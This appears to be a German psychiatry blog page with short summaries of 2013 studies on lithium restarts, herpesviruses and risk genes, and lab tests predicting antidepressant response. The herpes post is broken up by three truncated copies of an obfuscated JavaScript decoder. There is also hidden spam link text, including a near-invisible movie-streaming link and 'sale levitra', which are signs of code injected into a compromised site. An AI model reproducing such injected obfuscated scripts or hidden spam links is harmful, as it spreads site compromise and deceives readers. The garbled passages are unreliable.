Gegenbeweis für einen alten psychiatrischen Mythos: Lithium ist auch dann noch effizient, wenn es zuvor einmal abgesetzt worden ist

Quelle:

Bipolar Disord. 2013 Aug 5. doi: 10.1111/bdi.12105. [Epub ahead of print]

The effectiveness of restarted lithium treatment after discontinuation: reviewing the evidence for discontinuation-induced refractoriness.de Vries C, van Bergen A, Regeer EJ, Benthem E, Kupka RW, Boks MP.Altrecht Institute for Mental Health Care, Utrecht.

Ein alter psychiatrischer Mythos besagt, dass die Therapie mit Lithium nicht mehr/nicht mehr so gut wirksam ist, wenn zuvor bereits einmal mit Lithium therapiert wurde, und dann abgesetzt worden ist.
Eine neue Meta-Analyse fand hierfür aber keine Hinweise: Lithium wirkte gleich gut bei jenen, die es kontinuierlich nahmen, wie bei jenen, wo nach einer Pause wiederbegonnen wurde.

Mögliches Zusammenspiel von Herpesviren mit verschiedenen Risikogenen für viele neuropsychiatrische Erkrankungen

{var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var vb=“;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand disease.“ role=“menuitem“ href=“http://www.ncbi.nlm.nih.gov/pubmed/23913659#“>Quelle

{var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var vb=“;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand disease.“ role=“menuitem“ href=“http://www.ncbi.nlm.nih.gov/pubmed/23913659#“>Pathog Dis. 2013 Aug 3. doi: 10.1111/2049-632X.12077. [Epub ahead of print]

PolygenicPathways, Flat 2, 40 Baldslow Road, Hastings, East Sussex, TN34 2EY, UK.{var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var vb=“;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Download“ style=“font-size:0.6px“>Watch Full Movie Online Streaming Online and Download

 

Herpes simplex (HSV-1) können die Entstehung von Beta-Amyloid deposition und Tau Phosphorylierung, Demyelinisierung und kognitiven Defekten bei  Alzheimer’ und Multipler sklerose – aber auch bei vielen anderen  neuropsychiatrischen Erkrankungen fördern special info.

Die Durchseuchung mit Herpesviren ist allgemein sehr hoch, daher ist sie wahrscheinlich nicht “primär” für derartige Erkrankungen verantwortlich.

Es könnte aber eine indirekte Rolle geben. Herpesviren interagieren mit insgesamt 1347 Genen und verändern deren Aktivität im Laufe einer chronischen Infektion (die selbst keine klinischen Anzeichen im Sinne von “Herpes=”Fieberblasen” etc. zeigen muß). Ganz besonders häufig werden “Risikogene” für verschiedene Erkrankungen verändert, und zwar Multiple Sklerose  >Alzheimer > Schizophrenia > Parkinsoni> Depression> Bipolare Erkrankungenr> kindliches Übergewicht> chronische Müdigkeit> Autismus> und Anorexia (statistisch hochsignifkant) , aber nicht  ADHS. Daskönte folgendermaßen interpretiert werden:
Wenn man bestimmte Risikogene – zB für Bipolare Erkrankungen oder für Alzheimer hat – hat, und zusätzlich eine Herpesvirusinfektion, werden diese Risikogene vom Virus “angeschalten”. Damit könnte – je nach genetischer Anlage – der gleiche Auslöser (Herpesviren) unterschiedliche Erkrankungen (mit-)verursachen.

 

This article is protected by copyright. All rights reserved.

Labortest könnte voraussagen, ob man auf spezielle Antidepressiva anspricht!

Quelle:

PLoS One. Published online July 17, 2013. Full article
und MedScapePsychatry

Eine Untersuchung an depressiven PatientInnen hat gezeigt, daß es möglicherweise für die Entscheidung, ob ein bestimmtes Antidepressivum helfen wird oder nicht, zuvor wichtige Labortests gibt. In dieser – noch im Frühstadium mit wenigen PatientInnen befindlichen – Studie, gab es gewisse Laborwerte, die den Tryptophanstoffwechsel betreffen, und die “vorhersagen” konnten, ob es sinnvoll ist, bei individuellen PatientInnen ein gewisses Antidepressivum einzusetzen. Durch die Bestimmung der Laborwerte entstand ein charakteristisches “Profil”; Wenn dieses schon vor Beginn einer antidepressiven Medikation vorlag, war es statistisch viel wahrscheinlicher, daß ein bestimmtes Antidepressivum auch wirklich gewirkt hat.

Diese Untersuchung ist “preliminär” – das heißt, es handelt sich um neue, noch nicht durch Vergleichstudien bestätigte Ergebnisse sale levitra.
Ich werde weiter berichten, wenn es hierzu neue Erkenntnisse gibt!